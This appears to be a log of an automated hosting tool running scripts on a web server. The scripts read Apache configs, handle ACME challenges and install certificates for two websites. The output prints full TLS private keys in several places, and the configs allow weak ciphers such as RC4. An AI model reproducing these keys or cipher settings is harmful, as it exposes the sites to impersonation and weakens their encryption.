jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:00:57: 

chmod 755 /tmp/pkp655461; /tmp/pkp655461; rm /tmp/pkp655461

2025-09-06 06:00:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf	1467

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-06 06:00:57: 

PUT: /tmp/pkp950970

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:00:57: 

chmod 755 /tmp/pkp950970; /tmp/pkp950970; rm /tmp/pkp950970

2025-09-06 06:00:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt	5402
d2:47:af:75:0d:45:71:07:ed:55:d9:fe:97:47:78:d9

-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBfQsHtRXCFo3JiIIQ13yftk0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMjIzWhcNMjUxMjA1MDUwMjIyWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDOKqEn5SFYjzu6k1FLYu9GyAwZxj1rL4HHW4LeUa417r6eSxeVYyNA
blTP5n4VAHQtiF7UqHNVvbru+UUwOo+Jpnhd7UZnJP7ssInP3/E5pR6QZf+oFAp0
U+dXASczq5FSgtktJTaSLewHmi4BGQo7067zWxN6PqepcSkKsv/N2GEZnQ4PBQbd
jRgaO8TxPANa+yCRCQbJj+GDGHMXnchf0mpiH9yFLEdXyh+HN5304HwMRrVnaE/+
Y/Q3rGBMncGp6d17FKzuQTdn/BJ3iIE0JOrh5TLfLu4+gWhCPnQ/ozRotnOExGdB
jRBuTalKRlBcv9TGl10N2zNHfWRilAYtAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFKIBpg8Sw+7mxQ8jhQv2MomhMl0kMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvNTMuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYADeHyMCvTDcFAYhIJ
6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZHZ0GNwAABAMARzBFAiEA2Z2Nnh3vDk+Z
n6weHSZqviHV5EuPxcFjgP/Hun+Bg2UCIHKb4yjNgxuTypE4Dqivm8z7oCWxF20w
oz9lJ5jFW3eBAHcA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZ
HZ0OCwAABAMASDBGAiEAhxyz+JPbzzPL/t24X9RUDGlZo2GUj87kuCiG2hZEnd8C
IQC4wAwMOITGVMEZUyYCgfU971vUipwqGf9pGB5g+v9H0TANBgkqhkiG9w0BAQsF
AAOCAQEAOSjOnSAWOgiy4LryH2JfBp19kUH53UOhtj8+AJNrhwUn5preiue4CEIZ
zYJOIlOYkuKh7Xl78kv70L2/rLAIePeGYSeAZ9TvW6TW02zzWTVTtNJRIzESAvSZ
l68fbUmijIwsvM4Iy/5AEcRB+CN6EAvk0bwchorXKw9r/GLHL8q1QK66MqRMGs2z
96XpQLzcmknxM7ZSibYoAZ0LhBZZkzULV0O2wZ3C7YqwoX3/8S1LwX3frkomXFHX
CCIixLi5POxJ535gHoZMCz1AJ53Uc1YAyitlsvPQlG318A9D891ViiBaHGxg7U3v
Wx81wiYgZE6yl0ZGDYP/lDeJstVo/g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOKqEn5SFYjzu6
k1FLYu9GyAwZxj1rL4HHW4LeUa417r6eSxeVYyNAblTP5n4VAHQtiF7UqHNVvbru
+UUwOo+Jpnhd7UZnJP7ssInP3/E5pR6QZf+oFAp0U+dXASczq5FSgtktJTaSLewH
mi4BGQo7067zWxN6PqepcSkKsv/N2GEZnQ4PBQbdjRgaO8TxPANa+yCRCQbJj+GD
GHMXnchf0mpiH9yFLEdXyh+HN5304HwMRrVnaE/+Y/Q3rGBMncGp6d17FKzuQTdn
/BJ3iIE0JOrh5TLfLu4+gWhCPnQ/ozRotnOExGdBjRBuTalKRlBcv9TGl10N2zNH
fWRilAYtAgMBAAECggEAf+B9OUusFUwylhWOVR42oEaxCsOlkPhUnR0r3U34qsc9
QN3+8NAfK3XD8XhcOBah+SQe/fTGJSab7mJ7AeEw6wZwnoHwK0YNQS53LJMRAtpi
TNqXat+TZHguhA7ZC/mdF/rFTnVIlf8Z6dU+N7waVuWEHLofKLH4OOdRt6szc69m
uJLDbHbZNYqxVOGgafuwRqalUxo7qphSDR0jnrgT+oZR35CkZrVOC7aSWdgnSbwl
r7+UXPYbWBp9269/Irx2Z8zQuStiiW9wCcouzYT968O9rL84Lfi6+9NqxoM+Xzob
XH+F2R0CQacNaQZ4khLWqfLJpWIBR/iaCMvHc1oTmQKBgQD8aAglqa0gaIUOHJt5
LWb3lX51Jjdmy2e17v1dGrAu/tHS+jfvNaNAlnJ+kk+3w2XsDvUCJ2gj9rCO7H0h
7yQLsj04B79hQ0xaMS4Dg/HEF1nbi2bykzkj9ikyrTXuCmVXcHtPkNEgROXi6qjX
KMZ0Iu+dWItWmyVG2ifJVa/DswKBgQDRGhAqaa/hcRb1gDVdtzx6J5yCv6A/F3x3
eAxrmW1MewwtNyVuII55tNTM+YZxKIB5Kt5TiOMJfgwnugPPTE9/JqWz9d7WoHoz
mQJgKwWrVfC5NTxiZblz2ZdiOG6t6wbn8u93LchbPG1yXBucIZqbq3oeD9LTXJGc
dpFk5VuenwKBgQDJDmVO+vW5VwiF0SvXPt9CYIa28pY2/9fBCHox68xj4v9ou4BK
v8Mm87CIOiveCXvqqY9pA9LksuC5OJAEs+VWm8hAFYvRAjaTsZEho7y1opQlWcnL
eJKPnsn6YBcRYp6PJD5VhtnOhpNISfvsR8KtSBbuk1WKy1LKOYRv0B2OGQKBgA8I
uLDT+HlVEDmGhk++pPKDdpVQAc2HesN8NihmV51wG2gE1wQcAyJtBf/W0PvB1brg
giuvY+OC1Izmqu90pSKXPMK7otH7p82d6rXPYhD3lN88HKNWfQb/VgsR06NdipmS
tfTzrbwhlBzs0m9fWyZmJdmTea0Iss91Fu8SLowxAoGBAPjC6PZtMrUBKq0yYi7J
Sf6Bor3DVbSEtvNgBS97VyP3yug1VsjCT0J5D6/KBxXyfl6+uEy+z9A+C2n+lP/O
qG8g6Ptr0ABAsfvOx3RaR+rEY7aLBDgGvxHTb+HvZvdQFnhSRDI/MSRwlb7L+dRE
mtZpgvyv3rxHbP2fyoaFSYs4
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-06 06:00:57: Establishing a connection
2025-09-06 06:00:57: Establishing a connection
2025-09-06 06:00:57: 

PUT: /tmp/pkp774574

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-06 06:00:57: 

chmod 755 /tmp/pkp774574; /tmp/pkp774574; rm /tmp/pkp774574

2025-09-06 06:00:57: 


1


2025-09-06 06:00:58: Establishing a connection
2025-09-06 06:00:58: 

PUT: /tmp/pkp908297

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > JY5YbgnL4VhuEMw_m_8BeSq-0hN4gIpJrTSlgN_QLwY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JY5YbgnL4VhuEMw_m_8BeSq-0hN4gIpJrTSlgN_QLwY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JY5YbgnL4VhuEMw_m_8BeSq-0hN4gIpJrTSlgN_QLwY
cat > SJJem4PGyBVI-480NpaLUbS8hptcm-XXyk_DUmrrMFE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
SJJem4PGyBVI-480NpaLUbS8hptcm-XXyk_DUmrrMFE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 SJJem4PGyBVI-480NpaLUbS8hptcm-XXyk_DUmrrMFE


2025-09-06 06:00:58: 

chmod 755 /tmp/pkp908297; /tmp/pkp908297; rm /tmp/pkp908297

2025-09-06 06:00:58: 




2025-09-06 06:01:13: Establishing a connection
2025-09-06 06:01:13: 

PUT: /tmp/pkp812830

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm JY5YbgnL4VhuEMw_m_8BeSq-0hN4gIpJrTSlgN_QLwY
rm SJJem4PGyBVI-480NpaLUbS8hptcm-XXyk_DUmrrMFE


2025-09-06 06:01:13: 

chmod 755 /tmp/pkp812830; /tmp/pkp812830; rm /tmp/pkp812830

2025-09-06 06:01:13: 




2025-09-06 06:01:13: Establishing a connection
2025-09-06 06:01:13: 

PUT: /tmp/pkp100116

#!/bin/bash
temp_file=$(mktemp)
TARGET=50ea9c948624fd26b0aa34d6cc8b41c6.crt

cat > $temp_file <<'endmsg'
63:0c:fa:25:e5:8b:2e:82:34:41:f2:dc:08:54:3a:f7

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBSoLaffqNoD7lTMZCCn3gdOFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA2MDUwMjQyWhcNMjUxMjA1MDUwMjQxWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA4ukJjW7F5xaBQ17MWAE5C8/BT0H0XlkgqStCKGf1YeCS8igcdOUGAZ1CR/8U
llWmvBH/BxtcVkMmQ7lmU2yrgSixRSGnImA1/Xop9WKh2ivBlS+4g+G7a8hSdmGN
PX9hvkiHOffzrPJ8qaGWl8O0cIqqJLBxTdS67ZxBPukoconWB1TffhUuMKAKx6/J
aWCWg+0TGB6+W2TsFwzBR6b4gBFR1gpTa/7BHWaDkNPRzXkJzAD9epgYGgzlMguO
7D+SBFcGvFKbTvfLuuw/PFIU9vVVnrowHLICHIgd2jjDUe4/HU4KPGOn49ygryg1
FXpbR80X3MwfWMhkNx188584GQIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBStn/KU2raQvPKbHG7QoA+hcUHrrTAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1Ud
HwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNi5jcmwwggEEBgor
BgEEAdZ5AgQCBIH1BIHyAPAAdgCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/L99FWfYn
TzqEVAAAAZkdnU5XAAAEAwBHMEUCIQCaF4/+Z5LVci6oQMes2oIfJtxd19rexdHF
gHdU01nfBAIgVRBp/q93xC9Fxf42cI4ZM1BP3GruwHHAq+ExWpBwIAYAdgDd3Mo0
ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZkdnU6/AAAEAwBHMEUCIEc0
OcjUKaoAsN6NczKvq7DvkdcRqMGL9Ev3ryAsQvsZAiEA+2x1GU1KfHlEinbYuGEF
YUEwNOkg9fWf6U7cM5UkCZUwDQYJKoZIhvcNAQELBQADggEBAFI8dlpY5xJ/iBXy
9iHu5WgmATZT8xGRIe+iYZD5ajEeDLbptvLUrSWHtRM0zzVDbHrjuOq7+cPpYFhj
IhP5yf7z2JrgxHw/ELAfleNNTN69vVMxpTV/2H8xN8AiDIES4+rPyxVz0yxoOhn/
zYb5Do+jzwhu0R4vH8Xv3DBUtv3MyWnrvPcmJBhFM7xCeQLVy43wWD/gz/JKlyx7
zQTmR3HT0XQ0eieLppEgQTiIFYJP1CInyj5ZWFZG5eol8wKUxlKJMDprjYXOQ9qH
de1xGs9lk6J7fmmYnXgH/1p5ekAIeBXQ2zWZ7Kf2E75wqwWHrE/JgtIL4bJ+r7gK
mE6wRLU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDi6QmNbsXnFoFD
XsxYATkLz8FPQfReWSCpK0IoZ/Vh4JLyKBx05QYBnUJH/xSWVaa8Ef8HG1xWQyZD
uWZTbKuBKLFFIaciYDX9ein1YqHaK8GVL7iD4btryFJ2YY09f2G+SIc59/Os8nyp
oZaXw7RwiqoksHFN1LrtnEE+6ShyidYHVN9+FS4woArHr8lpYJaD7RMYHr5bZOwX
DMFHpviAEVHWClNr/sEdZoOQ09HNeQnMAP16mBgaDOUyC47sP5IEVwa8UptO98u6
7D88UhT29VWeujAcsgIciB3aOMNR7j8dTgo8Y6fj3KCvKDUVeltHzRfczB9YyGQ3
HXzznzgZAgMBAAECggEBAKFBFybJqB63oZktD28jP1Ujia83oeBC2rEeKt/oMTwj
iopI8yAnegM/rNDZd9n2eI2DBIgaa55qDhFm+k8jFSausnv8lHgbg4LlhFf8hiUz
n1jUFv6yNq08KU4zuVoQ4neFt4P8r9EianFqgkjMLbkk8hEsyviSy1z9BGke7T2n
XDs6JU2uJSImkNJeN03FRBrYqtzophdz3wlPojszE57OonadOaQvhZAWCFizLs2/
b876Sc7JWN9v2cbXmwuM7skBVzdAUZ2ENiHoKSqcQT7YdE1EgXK2xqKSoMpWaTKQ
8iuvsYdJLd9BKTJbZ7XNlpcrLksFuOJdRFs2YVjl2OECgYEA87TB8GSbQdzn7cXz
sDf59jhchyEjfO5hUcA+HNs5oGnINN9X0ibWgBDQ/2rGJg/GQnZIZpsVp78PCPaa
ml+YQ8sz4xq4mfz6YKy++kAQsNGnVzFvPFl4qLlHgipnyKhuohN+a5XzWXg9TI9o
iDOF7/KzkCxRGcNzww1idncrmrUCgYEA7ltgowySvdAcDDQ1yNq0dYfhYbsjCOA+
4Dd71SQeBfIxfh1+hDVlw0Q2T+04iUtEqWA9tqBvUs/vFvRReKCHi1AlPNi2nagD
W0HmBCo13v1E1IWr4DW6gzWq2bo4aAG1JYQiPQZOmDoMUDO7Lb/9TLZICNN41aya
PCHgmOMnslUCgYEAxdVZjl0NT/UU7YdBIC8Aoij0q9lx5ovYwrVtdp1b9WWJ2ano
r7dJb2K3VnCF9AXgKrm8YlbIyIinmt4deO3bPEVrlJNvgcnEMtBoo9t38SHwVy7R
Hst+0HC/pOHpqBFa5gUvHgT3LA0YrdrIv7AbrUJ3E7V2DJUGlzN5V7O72PUCgYBH
d3p4KNLuurFOL3FY8cpd2woGxZdxl9sCW2BzvcqKud2BFNLUTTZf39nxCQ2EjN7f
cg3O7jeyusnTNhofcvJxIOypW8kVaETpXc7bvNQ+Me4rUpEAPtvXb4X0llNHTAvG
XeHuLi/ukKkUew5KX2BRWe4rR0zZtFDiar3u2V0TqQKBgGEK1oPJmtcVF236YQ5x
9ye/uFPMsyHs0P5J8xVggSSINph4Or6++EOW452shaa0wvD+ZReLJ8vkEiXdqXSj
In7gxqaxjj8wTwesaIGB3ZjTT+f1LSZFB9MtmMnjRwLWXoWSvP5318C17R0irJNb
pTQNimI+TLZkk5/YOc3gFPMZ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-06 06:01:13: 

chmod 755 /tmp/pkp100116; /tmp/pkp100116; rm /tmp/pkp100116

2025-09-06 06:01:13: 


dir=/etc/ssl/certs


2025-09-06 06:01:13: 

PUT: /tmp/pkp707883

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks-uk_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-06 06:01:13: 

chmod 755 /tmp/pkp707883; /tmp/pkp707883; rm /tmp/pkp707883

2025-09-06 06:01:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 44

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-06 06:01:13: 

PUT: /tmp/pkp438778

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks-uk_www_org.conf
